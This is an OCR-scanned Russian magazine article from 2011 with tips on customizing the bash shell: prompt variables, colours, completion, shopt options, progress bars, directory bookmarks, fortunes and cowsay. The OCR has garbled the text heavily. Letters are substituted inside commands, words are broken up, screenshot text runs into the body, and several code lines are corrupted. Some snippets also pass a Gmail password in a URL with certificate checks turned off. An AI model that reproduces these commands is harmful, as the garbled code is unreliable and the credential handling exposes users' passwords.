Н етрудно догадаться, что юзер здесь появ­ л я ется за счетуп равляющего с и м вола '\u ' , и м я хоста - за счет '\h ' , а текущий каталог - это '\w ' . Н еуклюжая з а п ись, содержащая в себе слова d е Ь i а п_сh гооt, это всего л и ш ь индикатор того, находится л и п ол ьзователь в с h гооt-окруже н и и . Такое л а ко н и ч н ое п р и гла­ шение, кон е ч н о , удобно, н о содержит далеко не всю и нформацию, которую bash способен отобразить. В его а рсенале есть ка к м и н и мум ХАКЕР 03 / 1 46/ 20 1 1


,�

t:�:::д.'t)<тrrументw

we.ther ( ){

,_треме 5уф� Qll.нo

...

Ene;oding

10(.1 (1 ty ·Нosco w .. сигl ' 1 ''http ://_.90091•. cOll/19/�i1 .ther.$Ci ty'' sed ' sl . ..<tel\lP_c d.t"",", ( [' '' j ''\) "/'', '+I \l l ' , Где мы?

.....

, Goo;1,-nO't'8 unre.d_l'IIal 1 ( ) {

I

ttelp СОР'·К'

-----4

\

, � . non.,ot,,'PII 11 nараn (6., Gg i l . cofl) 10(.1 1091П"';::оbrпп" 10(.1 pilssvord""83fCilst.kR" secure- ргоtосоl::ТLSV! · · tl"0ut_з ·t 1 - q - о \ httрs://${1091П} :${р.oiIsswoгd}@luit .9GOgt, .(01ll/-.il,f••d,оtо81 . . no· ch,cJ.. - cert! fl,.tO ,rep futtcoLrlt I sed "s/<fultcount.., I . *\J "\lfutlcount"I\1/"

..

..

wget

....

wi· Fi wlfi ( ) { '8bin/i'«onfi; w1.no 1 gTep ()l;ltity cut · d • ·f2 1 ;iwk ' {рГln! $1) '

, Cмr;lH.tII

1

.

I

\

, .".ы.

co1or �poг! of 1. Ind ;1180 .cId hlt'ldy ;lHalll if I 0:11 /ulr/bin/dirco1or. 1 ; thln tlst ' Т -/,diгсоlот& '" е"а1 '''$(dHco1ors · Ь -/ . dl rc010r5} " ..lias 1,.' 11 · ·co1orz:auto ' ';I\ial dir.' dir · ·co1orquto' ';l1i •• vdir.' vdir · · co1or..uto'

11

. ..1 "'S(dlrco1ors ·Ы" "

g . Q f1)

fi

..1i..5 r p. ' r · ·cotor=JIuto · ;l1ia. fQr.p." gr.p · · со1огчutо ' alias .;r.p.' eIjIT.p · ·color...uto ·

Редактируем конфиг bash unread_ma i l ( ) {

#

Команда alias, вызванная без аргументов, выдает перечень используемых псевдонимов

имя

пользователя и пароль ( без @gma i l . com)

l o c a l l о g iл= " логин "

l o c a l pas sword= " пароль " wget - - s есurе -рrоtосоl =ТLSv1 - - t imeou t = 3

два десятка разл и ч н ы х управля ющих последовательнос­ те й , о которых м ногие пользо ватели даже н е подозрева­ ют. Вот сп исок наиболее и нтересных из н и х :

- t 1 - q -O - https : / / $ { l o g i n } : $ { pa s sword } @ ma i l . google . com/ma i l / fe e d / atom - -no­ check-c e r t i f i c a t e 1 grep f u l l count 1 sed " s / < fu l lcount > \ ( . * \ ) < \ / fu l l count > / \ l / "

\ j - количество фоновых заданий

# Сигнал w i - F i

\А - текущее время

wifi ( ) { / sb i n / iwcon f i g wlanO 1 grep Qua l i ty 1 cut -д

\ ! - номер команды в истории

= -f2 1 a wk ' { print $ 1 } '

PS1= ' \n\w\n\u@\h : $ ? \ $ ,

Но и это е ще не все. П р и м е р с и нди катором c h root­ о круже н и я показывает, что в п р и гла ш е н и и м ожно и сп ол ьзо вать вы вод л юбых сто р о н н и х п р ил оже н и й , а это откры вает п росто безгра н и ч н ы е воз м ожности п о е го касто м из а ц и и . Н а п р и м е р , следующим о б р а з о м в п р и гл а ш е н и е м ож н о добавить дан н ы е о текущей п о го­ де, кол и ч естве н е п ро ч и та н н ы х писем в g ma i l и уро в н е с и гнала W i - F i : $ vi -I.bashrc # Gооg l е - погода

weather ( ) ( # Где мы?

l o c a l c i ty= " Mos cow " c u r l -s '' h t tp : / /www . google . com/ i g / api ?weather= $ c i t y " 1 sed ' s l . * < t emp_c data= " \ ( [ Л " J *\ ) " /> . * 1 \1 1 '

} P S 1 = ' \ n ' weather ' : ' unread_ma i l ' : ' w i f i ' : \w \ n \ u@\h : $ ? \ $ ,

Все это нужно поместить в конец -/. bash rc и выста вить на файл права 600, чтобы н и кто не с м о г подсмотреть парол и . Резул ьтат будет п р и м ерно та к и м : - 7 : 3 2 : 7 0 / 7 0 : /usr/ local j lm@1 3 1 3 : 0 $

ХАКЕР 03 / 1 46/ 2 0 1 1

использовать гsупс для получе н и я прогресса коп и рования файлов нет смысла. М ожно просто нажать <Ctrl+ т во время работы ко ма нды ср, и она сама выдаст прогресс операции на экра н . >

• Чтобы сделать mап-стра н и цы цветн ы м и , уста нови пакет most с помощью па кетного менеджера и доба вь строку « ехрог! MANPAGER="/usr/ bi n/most - 5 » В файл -/bashrc.

Кома нда « stty -echo» откл ючает вы вод в тер м и нал того, что наби рается на кла в иатуре. П одобное поведе н и е можно набл юдать при вводе па роля при логи н е в те р м и нале. • Убрать курсор

из терминала и в ы ключ ить гашен и е экрана можно с помощью ко манд « setterm -cursor off» и « setterm -bla n k О » .

Раскр аш ива ем консt>ль

П р и работе в консол и пол ьзователь часто получает боль­ шое кол и чество н и ка к не отформатированной инфор­ м а ци и . П орой выбрать в потоке данных действител ьно необходи мое Довол ьно сложно. Благодаря специал ь н ы м непечата е м ы м еsса ре-последовательностям м ы може м и з м е н ить цвет и фон вы води м ы х с и м вол ов, чтобы обле г­ ч ить восприяти е да н н ых . Все еsсаре- последовательности з а кл ю ч а ются в \[\033 [ и \] , а после кода цвета должна еще стоять буква т. Все цвета расписаны в справочной стра н и це. Н а п р и м е р , ч е р н о му соответствует 0 ; 3 0 , зеленому - 0;32, красн ому 0 ;3 1 , желтому - 1 ;33, бело му - 1 ;37 и так далее. Чтобы в строке п р и гл а ш е н и я В Ы ВОДИЛ И С Ь и м я систем ы [ с и м вол h) и логин пользователя [ u ) , подсвеченные кра с н ы м цвето м , а текущий каталог - желтым [ w ) , в конфиге -/. bashrc з а м е н я е м з н а ч е н и е п е р е м е н н о й PS 1 на следующее:

}

# Gооg lе- почта

• Во FreeBSD

\ д - текущая дата

Кроме того, в PS 1 вполне м ожно использовать текущие п е р е м е н н ы е окружен и я , а если учиты вать, что п еред каждым вы водом на э кран PS 1 переч итывается , то туда можно за сунуть та к и е вкусности, как, н а п р и м е р , статус последне й выпол н е н н о й кома нды [переменная $?), чтобы з нать, было л и ее испол нение усп е ш н ы м . Управл я ющий с и м вол '\п' также допустим в PS 1 , поэтому п р и гл а ш е н и е к вводу можно сделать м ногостроч н ы м , а заодно визуально отделить его от остал ьного текста [с п омощью начальной пустой строки ) :

� i n fo

� links

Сайт разработчика fo rtu ne-mod -ru : lac k . kiev. ua/fortu пе­ mod -ru •

Сайт проекта bash­ DirB [ D i rectory Book­ ma rks for BAS H ) : d I rb. i n fo/bash D i гВ . •

P S l = " \ [ \ 0 3 3 [ О ; 3 1т\ ] \ u @ \ h : \ [ \ 0 3 3 [ 1 ; 3 3m\ J ( \w ) \

� 08 3


Файл

Правка

Вид

init.d : bash

Закладки

[J

Настрой ка

Корректировка ошибок в bash

Справка

adept@adept - la ptop : /$ cd /ect/init . d /etc/init . d adept@adept - la ptop : /et c/init . d$ I

л v

init.d : bash [ \ 0 3 3 [ От \ ] \ [ \ 0 3 3 [ От\ ] "

П р и необходимости через точку с запятой можно указать цвет фона. Для этой цел и испол ьзуются числа от 40 [черный] до 47 [бел ы й ] . PS l = " [ \ 0 3 3 [ 3 2 ; 4 0m\w\ [ \ 0 3 3 [ Om\ ] > "

Все это также можно и спользовать в скриптах, хотя, чтобы не путать­ ся, в этом случае лучш е задействовать переменные, которые потом и вызы вать в нужном месте. Н а п ри м е р : l о с а l GRAY= " \ [ \ 0 3 3 [ 1 ; 3 0т\ ] "

дистрибутивов испол ьзуют патченые версии bash? На самом деле, возможность а втодополнения в bash - расши ряемая функция. За необходимую функциональность отвечает встроенная команда compgen, генерирующая соответствующие списки. Все настройки про изводятся в файле /etc/bashJompletion [или пользова­ тельском -/.bash_completion], хотя в н е которых дистрибутивах можно найти цел ы й каталог /etc/bash_completion.d, в котором обычно собраны настройки, специфичные для отдел ьных п рограмм. В самом простом случае файл содержит программу и указания для bash п о дополнению имен файлов. Например, чтобы M Player предлагал пользователю в качестве автодо­ полнения только файлы с расширением avi и mpg, пишем такое правило:

l осаl NO_COLOUR= " \ [ \ 0 3 3 [ От \ ] " complete -f

Н е забываем о том, что некоторые команды поддерживают цветной вы вод. П роще это реш ить при помощи алиасов: a l i a s l s = ' l s - - c o lor=auto ' a l i a s grep= ' grep - - color=auto '

И та к далее. За настройки цветов каталогов и файлов с разным расширением от­ вечает утилита d i rcolors, устанавл и ва ющая перемен ную LC_COLORS. Чтобы получить все значения, просто вводи м :

'

! * . @ ( avi I mpg I AVI I MPG/so )

,

mplayer

Но это самый простой вариант, ведь М Player имеет большое количество дополнительных параметров, а значит, ему потребуется описать шриф­ ты, звуковые файл ы, субтитры и такдалее. Все это легко решается при помощи оператора case. Поддержива ются регулярные выражения, что немного упрощает создан и е правил. Обычно майнтейнеры конкретного па кета сами составляют списки параметров программы для bash_completion. Н и ка ких чудес здесь нет. Например, для tar создаем такое п равило: COMPREPLY= ( $ ( compgen -W ' с t х u r d А ' - - " $ cur " ) )

$ dircolors - -print - database

И спользовав получ е н н ы й резул ьтат ка к шаблон и сохра н и в его в / etc/D I R_COLORS [либо в п ерсональном конфиге -/dir_colors], можно создать свою раскраску. П рогра ммистам будет очень полез е н cout Icode.google.com/p/cout] ­ небольшой скрипт на Pyt h o n , подсвечивающий вы вод make, gcc, svn и d iff. С крипт не требуетустановки, просто скачиваем и распаковываем архив, а затем создаем псевдо н и м : $ аl i a s makec= ' cout data /make - gc c . c f g '

Теперь п роверяем работоспособность, испол ьзуя заранее подготов­ л е н н ы й Makefile : $ makec - f Make f i l e

Автодополнение bash

Одна из самых удобных фун кци й , и м еющихся в bash - автодополне­ н и е команд по кла више Та Ь > . К этому быстро п р и в ы каешь, и кажется, что улучшить уже н и чего нельзя. Однако в разных дистрибутивах автодопол н е н и е работает по-разному. Н а п ример, в современных Liпuх-дистрибути вах, ориенти рованных на обыч ного пользователя , bash не только дополняет саму команду, но и п редла гает дополнител ь н ы е пара метры. Одна ко в Gentoo и п роизвод­ н ы х [вроде Calcu late Linux] такого нет. Здесь п р иходится пом н ить все параметры назубок. Как такое может быть? Н е которые разработч ики <

� 084

Как видишь, мы п росто перечислили все пара метры, и теперь в процес­ се ввода bash сам выдаст этот список. Команда сотрgеп и меет ряд параметров. Та к '-Ь' позволяет получить список встроенных команд оболочки, '-с' - имена команд, '-v' - имена переменных и та к далее. Все подробности можно найти в тап-стран и це bash, в секциях complete и compgen.

П родвинутые настройки

Bash - довольно развитый командный интерпретатор, поддержива­ ющий кучу разных настроек. Причем из этих настроек можно получить

П еренос директории dotfiles

П еренос директории dotfiles с одного компа [ I P-аАрес 1 92 . 1 68 . 1 1 , п орт 1 0000] на другой при помощи netcat и pv: host l $ tar - c f - dot f i l e s I pv

I

пс

host2 $ пс 1 9 2 . 1 6 8 . 1 . 1 1 0 0 0 0 I pv

I

-1

-р 1 0 0 0 0

-q

5

tar -x f -

В случае, если host 1 работает под управлением OpenBSD, коман­ да должна выглядеть так: obsdhos t l $ ta r -cf

-

dot f i les I pv

I

пс

-1

10000

ХАКЕР 03 / 1 46/ 2 0 1 1


...' "'""" .... Пgмc:or. I�",MHaII g,pмц wи�s.г-vlгtg.\-ме;"lп. - S \S /etc/bash_c08pletion .d/

-"', ."

сир!

.,.

debcon1 desktop-file-va1idate dl!ct1ent dlct

a�che2ct1 apport_CQlaPletion

'"

dd

cvsps

/IIpt-Ьu1\d /IIptltude /IIspe\l /IIutorpa "'" /II.l.l-с/llсhe dse\ect bash-bul\t1ns dsnif1 blnd-ut1\s tindut1\s bitkeeper fгeeciv bittorrtnt fuse blue2 '" brctl ,,' bzlp2 ." C/ll rdct\ 4)t!пisоiIщJе �tent cfell'jllne chkconf19 9kreH. chsh gnatuke cksfv '" cl1sp ",2 conf19ure gvfs-b/llsh-conpletlon.sh coreut1\s gtip cowsay helltdal cpan2dist lIpin92 cpio iconv 1fupdown crypt5etvp ..s.rtus.r-virt�l.-..cltiм - $ I

TepMMMall

Uta9tfЩ1i(k lп10 lnltrufs-tools lnsserv lpt11tool ipsec lptab\es ipytjc/lllc Isq\

j" j/llv<! kЭ' kld\ad \/II rch \dopvl lftp \1\0 \1nks lintl;m Hsp

,,,

',м

llop ./IIHun м"

"

.crypt M/IIdlll

. ... ФII\JI

.р\ауег .synctool .unin-node .иН lIIysq\ad8Un ncttp net-too\s �p ntpdate ooffice.sh ореп\пр open!!l

" .. ',

plne pk9-conti9 pk9_1nst/llH pkgtoo\s ptI-utils

'"

portupgr/llde postfi.l. po5tgresq\

роугау РГОСР' python ,,"',

ас

quot/ll -tools

,..

""" '"

rdesktop reportbU9 resolvconf г1МН

"

грсОеЬи9

'..

rp8Check rrdtool rsync rtcwake ,.... 'Ьс\ 5сгееп ,еГУlсе sh/llOow sltecopy saartctl snownews

'"

55hfs

,,'

sysctl sysv-rc

unr/llf up4ate'/II\terflllt1ves ut1\-11nu.l. vn(vlewer 'р'" wlге\е$S-tоо\s

"""' .." ""

8МА

ЖУРНaII

]iIOI./IAдKM

\

\

\

\

oHint

yp-tools y.-arch

\ I

(0'0)\ { ) \--)\/\

I Уои learn to write as 11 to 50lllеопе \ I e\se beclIuse НЕХТ YEAR YQU WIll ВЕ I \ ·SOHEONE ElSE . · /

п

"

l.oad

1 1 · · · ·w 1 11 11 grlnder@grlnde r : -S COWSlIY ' fortune'

о,..

.I.гаl'\dг .l.s\tproc

МatТPO;I.... C'npI'�1

I cowsey

14:49:45 ир 3 : 18 , 2 users. lIverage: в.81, е.Вб, в . 1 1

wdial .I.I'IoН

гораздо больше п рофита, чем из настроек поведения терминала, вы­ пол н е н н ых с помощью утилит sеttегm и stty. С писок всех воз можных опций можно посмотреть кома ндой « shopt -р» [shopt - сокращение от Shell Options]. П р и ведем самые интересные из н и х : • autocd - если эта о п ц и я включена, т о можно просто написать путь к каталогу [опустив кома нду cd], чтобы в н е го переместиться; • cdspell - bash будет пытаться исправлять простые опечатки [напри­ мер, /ect/init.d вместо /etc/init.d] в аргументах команды cd;; • checkJobs - н е дает выйти из консол и , п о ка в ней есть выпол няющи­ еся зада н и я ; • cmdhist - объединение многострочных команд в одну строку та к, чтобы тебе было проще искать и х в исто р и и ; • d i гspell - исправл е н и е небол ь ш и х ошибок в н а п исании и м е н и директор и и п р и а втодопол н е н и и ; • globstaг - позволит и спользовать конструкцию вида " , обозначаю­ щую « все файлы, начиная с текущего катаЛОГа , рекурсивно» ; • Очень удобный новый wildсhаг - например, да нная конструкция отобразит все т р3 в текущем и вложе н н ых каталогах: 1в

/ \

tCpdUllP

в юзер-ориентированных дистрибутивах разработчики позаботились об автодополнении команд

$

�.1Цi

grlnder@grinde r:-S upt1me .edusa 8inl(08 8k1nitrd IIOdule-iпit-tоо\s :���Yel0p

- __ (00)' ( )\ )\/\ 1 1 · · · ·w 1 11 11

gгlпdегфgгlпdе г:-s .

Коровка в консоли может выводить полезную информацию

ultrtultг-vlгtиl.-..сhln' - S diгсоlогs --prlnt-63tllbi!llse , conf19ur/llt1on fi\e 1or dlrco\ors, а ut1Hty to help you set the • LS_COLORS enviror8ent v/llfl"ble usec! Ьу GNIJ \$ w1th the - -color арНоп. ' Copyright (C) 1996, 1999-2919 free SoftlIIIIre Fourмlation, Inc. ' (09yit\9 "nd distrlbut10n 01 th1s (Не, with ог wlthout 8OdifiC/lltlon, I аге perwitted provided (М copyright поНсе мd (М! I'IOtlce /II re preserved. ' ТМ keywords COLOR. OPТIoнs. IIпd EI(jIПВП (hooored by the ' S\/IIсмге vегsl0п оf dlГСО\ОП) /II ге гесogniled Ьut lQnoгtd. ' 8elow, there $hou\d ье O� TEflН entгy (ог e/llch ter.type th/llt i$ coloritable ПRН Etег. TERН /IInsi TERM color-.l.tеna ПRН con132.1.2S ПRН сcm132хЗ8 ТEf\Н сопlЗЬЮ ТЕRМ соп132_б8 ТERМ con8&_2S TERМ ccm8&.l.Z8 ТЕР.Н соn88_З8 TERН ccn8&xO TERН con88.1.S8 ТERК соп88хб8 ТERН cons2S TERН console TERК cygwin TEP.К dtteГII ТeJI,Н еtеГll-соlоr ТERI'I gn08e ТЕJIJI gПOlll!-2Sбсоlоr ТЕPJt j1ЬtеПl TERМ konso\e TeJl,Н ktef1l ТEPJt linu.l.

I

TERIt Hnwr.-с

ТERК Nch-color

ТЕRМ TEi'I" ТEPJl ТЕRН TERM

.1tеПl putty гxy! ГJ(Vt-2Sбсоl0r f.l.vt-суgwlп

:i

� QUA

... Г11U1 3.Cl. 1);S'

'@I t /

Выводим базу данных LC_COLORS Кроме того: 1 . Bash умеет сокращать путь к текущему каталогу в п р и гла ш е н и и ,

* * / * . mр 3

Согласись, это гораздо короче и удобнее, чем:

если он ста нов ится сл и ш ком дл и н н ы м . Для управления этой фун­ кцией п р едусмотре н а перемен ная окружен и я PROM PT_D I RTR I M . П р и п р е в ы ш е н и и уровня вложен н асти каталогов, указан ного в этой п е р е м е н н о й , путь будет сокращен. П ри м е р использова н и я :

$ f ind . / - пате " * . mр 3 " - type f -print $ export PROMPT_DIRTRIM=3

Уста навли ваются опции следующим образо м : $ shopt

2. Bash поддержи вает « ум н ы й » метод помещения ко манд в историю, autocd cdspell checkjobs cmdh i s t dirspe l l

g l ob s t ar

П и шем в твитте р легко и не п рин ужден н о

Простая функция, отправляющая сообщения в твиттер: $ vi - / . bashrc twit ( ) { cur1 - -bas i c - -u ser юзер : пароль - - data status= " $ * " ' ht tp : / / tw i t t e r . com/ statuses /updat e .

хт1 '

- о /dev/nu1 1 ;

Использоватьтак: $ twi t ' Привет из консоли '

Не забываем про 1 40 символов.

ХАКЕР 03 1 1 461 20 1 1

позволяя освободить ее от банальностей вроде ls. В историю не будут п опадать дубл и каты и ком а нды ls, Ь9, f9, exit после в ы п ол нения следующей команды: $ export HISTIGNORE= " & : l s : [ bf ] g : exi t "

3 . Bash умеет делать та к, чтобы команды, выпол н е н н ы е с исполь­

зованием sudo, авто матически по падали в файл исто р и и гооt'а и н е засорял и историю пользователя . П роста добавь следующую строку в файл /еtс/Ьаsh . Ьаsh гс : export H I STFILE = $ HOME / . bash_h i s t - ' whoami '

И ндикато р п рогресса

Отсутствие индикатора п рогресса у бол ь ш и н ства кон сол ьных утилит - одна из гла в н ы х п роблем для тех , кто часто работает в консол и . И хорошо, есл и под рукой есть тс, который многие та к и испол ьзуют, чтобы получить окошко с п рогрессом. А что если это голая консол ь, а тебе требуется сохра н ить бэкап на фл е ш ку, смонтирован ную в режи­ ме sync? В этом случае тебе поможет гsупс, который хоть и нескол ько замедляет п роцесс коп и ро в а н и я , н о зато обеспеч ивает вы вод н а э кран ш калы прогресса. П омещаем в -/. Ьаshгс следующую строку:

� 085


Так работает автодополнение в fish

j lm@1313 �> ер -­ --arehlve --baekup --baekup= --eontext --eopy-contents dereferenee -- force --he l p -- i nterac t l ve -- I l nk --no-dereference --no-preserve --no-targe t-d l rectory --one-fl l e-system --parents --preserve --preserve= -- recur s l ve

( Same as -dрR) ( Make backup o f each e x i s t lng des t l na t l on f l l e ) ( Make baekup o f each e x l s t l n g ' dest l na t l on f l l e ) (Set secur l ty context o f сору t o CONTEXT) ( Сору contents o f spec l a l f l l e s when recur s l ve ) ( A l ways fo l l ow symbo l l c I l nk s ) ( 00 not prompt before overwr l t l n g ) ( D l sp l ay h e l p and ex l t ) (Prompt before overwr l te ) ( L l nk f l l es I nstead o f copy l n g ) (Never f o l l ow symbo l l c I l n k s ) (Oon ' t preserve the spec l f l ed a t tr l bu t e s ) ( Treat DEST as а погтаl f l l e ) (Stay о п th l s f l l e system) (Use fu l l source f i l e пате under O I RECTORY) ( Preserve the spec i f i ed a t tr i butes and secur l ty contex t s . I f poss i b l e ) ( Preserve the spec l f l ed attr l butes and secur l ty eontex t s . l f poss l b l e ) ( Сору d i rector l es recurs i v e l y ) --remove-des t l nat lon ( Remove each e x i s t ing dest i na t i on f l l e before a t temp t l ng to ореп 1 t (contrast w l th --for... ) ( Con t r o l crea t l on o f sparse f l l e s ) --sparse (Remove trai l i ng s l ashes from source) --s t r l p-tra i l i ng-sl ashes ( Backup suff i x ) --suf f l x symbo l l e- I l n k (Make symbo l l c 1 1 nks Instead o f copy l n g ) (Target d l rector y ) -- target-dlrec tory ( 0 0 not overwr i te newer f l l e s ) --update ( Verbose mode) --verbose ( O l sp l ay vers i on and e x l t ) --verslon j l m@ 1 3 1 3

�> ер

--1

скрипт D i rectoгy Bookmarks for BASH [ d i rb i n fo/bashDirB) р а с ш и ряет набор сокра щ е н и й , п озволяя на л ету создавать закладки н а нужн ы е каталоги и переходить в н и х короткой командой. Скачиваем:

a 1 i a s cpr= ' rsync - -progres s '

и и спользуем команду с р г вместо с р : $ cpr f i l e 1 f i 1 e2

$ wget - с h ttp : / /www . d i rb . in fo / bashDirB - о - / . bashDirB

Если добавить о п ц и ю ' - - remove-source-files', то исход н ы е файлы будут удале н ы [правда, следует п о м н ить, что в п ределах одн о й файловой системы mv гораздо быстрее rsync) . Еди нстве н н ы й м и нус - прогресс отображается для каждого файла в отдельности, общий прогресс увидеть нел ьз я . Чтобы увидеть ход в ы пол н е н и я , н а п р и м е р , п р и созда н и и архива, м ожно и спол ьзовать утил иту pv [Pipe Viewer). Тех н и ч ески она п редста вляет собой замену ста ндартного cat, с п особную н е тол ько тупо коп и ровать байты на в ыход, но и показ ы вать п р о гресс этой о п е р а ц и и . Например: $ tar -czf - /path/to/dir I ру > /path/to/archive .tgz 7 5 8МВ 0 : 0 1 : 2 9 [ 8

.

4 8 MB / s ]

[

Уже хорошо. Но не хватает времени заве р ш е н и я . Для этого надо п ередать утилите pv размер каталога [в ба йтах) с помощью кл юча ' - s ' : I

$ t ar - c z f - /path l t o / d i r

p v - s $ ( du - s b /path / t o / d i r

И добавляем в ф а й л -/. bashrc строку: source - / . bashDirB

Теперь каждая новая сессия будет поддерживать закладки. П ереходим в нуж н ы й каталог и сохра н я е м е го в закладку: $ cd / v a r /www

$ s www

После этого будет создан файл -/. DiгВ/www, содержащий ссылку н а закладку. Теперь, чтобы вернуться в указа н н ы й каталог с л юбого места файловой систе м ы , достаточно ввести в консоли « 9 WWW» . Аналогич­ ным образом можно создавать любое кол ичество закладок. Н о это н е все пара метры . Например, пара метр «р» позволяет запом­ н ить последн ие перемещения и в ыводит И Х в КОНСОЛ И :

I

grep - о ' [ 0 - 9 ] * ' ) > /pat h / t o / archive . tg z

$ p www

4 6 1МВ О : 0 0 : 21 [

/var/www

3 2 MB/ s ]

[ =============================

::: = :::: = = = = = = = >

] 6 0 % ЕТА О : 0 0 : 1 3

Каждый раз н а б и рать такую конструкц и ю н е о ч е н ь удобно, луч ш е сделать алиас.

Закладки каталогов в консоли

П р и в ы пол н е н и и операций админ истри р о в а н и я п р и ходится часто переходить по катало га м файлового дерева. Bash поддерживает ряд сокраще н и й [ н а п р и м е р , чтобы вернуться в дома ш н и й каталог, п росто вводим «cd» , в п редыдущий каталог - «cd - » ) , но этого мало. Кон е ч н о , можно и с п ол ьзо вать псевдо н и м ы [ a liases), вроде: a 1 i a s cdwww= ' cd /var /www '

Но этого все равно б ы вает недостаточ н о в том случае, если с п и ­ сок каталогов бол ь ш о й . И главное - и с пользова н и е алиасов н е о ч е н ь удобно. Та к, чтобы создать н о в ы й псевдо н и м , нужно вручную п р о п и сать е го в -/. bashrc и перезапустить тер м и н а л . Н еб ол ь ш о й

� 086

How much is the FISH? Новичкам в консоли следует внимательно посмотреть в сторону альтернативного командного интерпретатора под названием FISH [Friendly I nteractive Shell). Его преимущества перед bash довольно вну­ шительны. Fish на полную катушку использует возможность управле­ ния цветами терминала. Он оснащен гораздо более мощной системой автодополнения, которая выводит на экран не только списки катало­ гов, аргументов и имена команд, но и массудругой полезной информа­ ции [например, рядом с каждой опцией помещается описаниетого, что она делает). в Fish встроена очень хорошая система подсказок, так что есл и ты допустиш ь ошибку, то получишь обширное разьяснениетого, что произошло, и способы обхода проблемы. Наконец, скриптовый язык Fish гораздо проще и логичнее стандартного языка sh.


: tar

Файл

Правка

Вид

Закладки

Настройка

Справка

ру -5 $ ( du - 5Ь /path/to/dir I g rep - о ' [ 0 - 9 ] * ' ) >

�dept@adept - 1aptop : /$ ta r - czf - /path/to/dir /path/to/a rchive . tgz а г : Удаляется начальный ' / ' из имен объектов 214МВ 0 : 00 : 42 [ 5 1 18МВ/5 ] [ ===-===========> ==

_

л

] 38% ЕТА 0 : 01 : 07

tar и индикатор процесса

fйIJ "" Файл

109 : bash Правка

Вид

Закnaдки

Настройка

Справка

adept@adept - 1aptop : /va r/1og$ l s **/* . log a ut h . 1og a1te rnatives . 1og apache2/acces s . 1og boot . 1og boot st гар . 10g apache2/e r ro r . 1og apache2/othe r vhosts acces s . 1og daemon . 1og a ppo rt . 1og dpkg . 1og apt/histo ry . 1og fontconfig . 1og apt/te rm . 1og insta11e r/caspe r . 1og adept@adept - 1aptop : /va r/1og$

I

I09 : bash

Рекурсивный глоббинг В bash4

И , на конец, кома нда 5 1 позволит п р осмотреть л и ст и н г за кладок. Для уда л е н и я з а кладки и с п ол ьзуем кл юч ' - г ' . Также сл едует з н ать, что b a s h D i r B моди ф и ц и рует п е р е м е н ную PSl та к и м образом, что в п р и гл а ш е н и и в ы водится время и н о м е р текущего каталога в h istory. Е с л и тебя это н е устра и в а ет, п росто закомм ентируй соответствующую строку в с к р и пте . В кач естве альте р н ати в ы bash DirB можно и с пол ьзовать a pp a ri x (тlсапs . о гg/арра гiх) , п редл а га ю щ и й т р и ком а н д ы : Ь т !созда н и е з а кл ад к и ) , to ( п е р еход к з а кладке) и portal (доб а вл е н и е подка­ тал о гов в закладки) П о м и м о bash также поддерживается csh. П а кет доступен в ре позита р и и D е Ы а п/U Ь u п t u и н е кото р ы х других дистри бути вов.

Фо ртунки

В н е кото р ы х L i п u х -д и стрибутивах п осле за пуска консоли выво­ дится н ебол ьшая цитата . П ра ктической пользы от н е е в роде и н ет, но н ебольшое шуто ч н о е в ы с казы в а н и е п о в ы шает настр о е н и е и н а страи вает на рабоч и й лад ; Тематические п а кеты с база м и выска­ з ы в а н и й н а з ы в а ются lort u n es, а сами цитаты - форту н ка м и . За н е с кол ько десятков л ет в С ети по яви ло сь бол ьшое кол и ч ество сбо р н и ков цитат, кото р ы е л е гко и нтегри руются в консоль. Что б ы уста но вить и х в D е Ы а п и л и U bu n t u , достато ч н о ввести кома нду:

л

j oc key . 1og kdm . 1og ke rn . 1og 1 p r . 10g mai1 . 1og pm- powe rsave . 1og pm - s u spend . 1og

pycent ra1 . 1og ufw . 1og use r . 10g vbox - insta11 . 1og Xorg . 0 . 10g Xo rg . fai1safe . 1og л v

'1 $ f o rtunes - f

П осле уста н о в к и все форту н ки п о м е ща ются в оди н и з подкатало­ гов lusrls h a re/ga mes/lo rt unes, откуда их и заби рает п р о г р а м м а . В случае н еобход и м о сти п р и п о м о щ и кл юча ' - т ' м ожно указать ш а бл о н фортунок, котор ы е будут в ы в одитьс я . П осле доба вле н и я своих ф о рту н о к следует и с п ол ьз овать утилиту strlile для созда н и я и н де кса (strfile фа Йл_форту н о к ) . П р и жела н и и можно грабить R S S - н о вости, твиты , п рогноз п о годы или коти ровки валют с л юбого са йта , в ы водя и х в кач естве фо рту­ нок. Хотя для этого м н е бол ьше н ра вятся аналоги lort u n es - па кеты cowsay и xcowsay. Cowsay п р едста вляет собой п р иложе н и е на Perl, которое в ы водит изображе н и е гово рящей и л и дума ю ще й ко р о в ы , н а р и сова н но й АSС I I -с и м в ол а м и . $ sudo apt - g e t i n s t a 1 1 cowsay xcowsay

По умол ч а н и ю корова не з на ет, что сказать, умную м ы сл ь ей надо подки нуть. Н а п р и м е р , в ы ведем u pt i m e : $ upt i me

I

cowsay

Или фортунку (та к реал и з о в а н о в L i n u x M i n t ) : $ sudo apt -ge t i n s t a 1 1 fortunes f o rtune s - debian­ h i t s f о rtuпе s - u Ь u п t u - s е rvеr f o r tunes -min fortune -mod

$ cowsay ' fortune '

f or tune s - ru

П ослед н и е два п а кета содержат бол ьшое кол и чество афоризмов н а русско м . Кроме этого, в и нтер н ете доступ н ы и другие русско я з ы ч ­ н ы е с б о р к и фортунок, н а йти кото р ы е о ч е н ь п росто - достато ч н о в бить в Гугле lort u nes-ru и получ и м н е с кол ько десятков ссылок ( н а п р и м е р , избра н н ы е цитаты с са йта li п u х . огg. гu : lorguotes. rul lort unes.php) . П осле уста н овки н еобходи мо настроить в ы вод цитат в консоль. В самом п ростом случае достато ч н о п ро п и сать в ко н ф и г -I. b a s h rc всего одно сл о в о :

Кроме ста ндартной коровы досту п н ы и другие персонажи, соот­ ветствующие назва н и ю файлов в подкаталоге lusrlsha re/cowsayl cows. В ы з в ать их можно п р и п о м о щ и п а р а м етра 1 Также ряд п а р а м етров и з м е н я ют в н е ш н и й вид коро в ы : '-t' - устал а я корова, '-р' - п а р а н о идал ь н а я , ' -w' - обалде в ш а я и та к дале е . Ч то б ы а вто­ мати з и ровать п роцесс, з а н о с и м строку за пуска в -I. bashrc : '-

'.

COWDIR= / u s r / shar e / c owsay/ cows / ; COWNUM=$ ( ( $ RANDOM% $ ( l s $COWDIR

I

wc - 1 ) ) ) ;

COWF I L E = $ ( l s $COWDIR I sed -п ' ' $COWNUM ' р ' ) ; f o r t une

I

cowsay - f $COWF IL E $ echo " f ortune " »

- / . bashrc

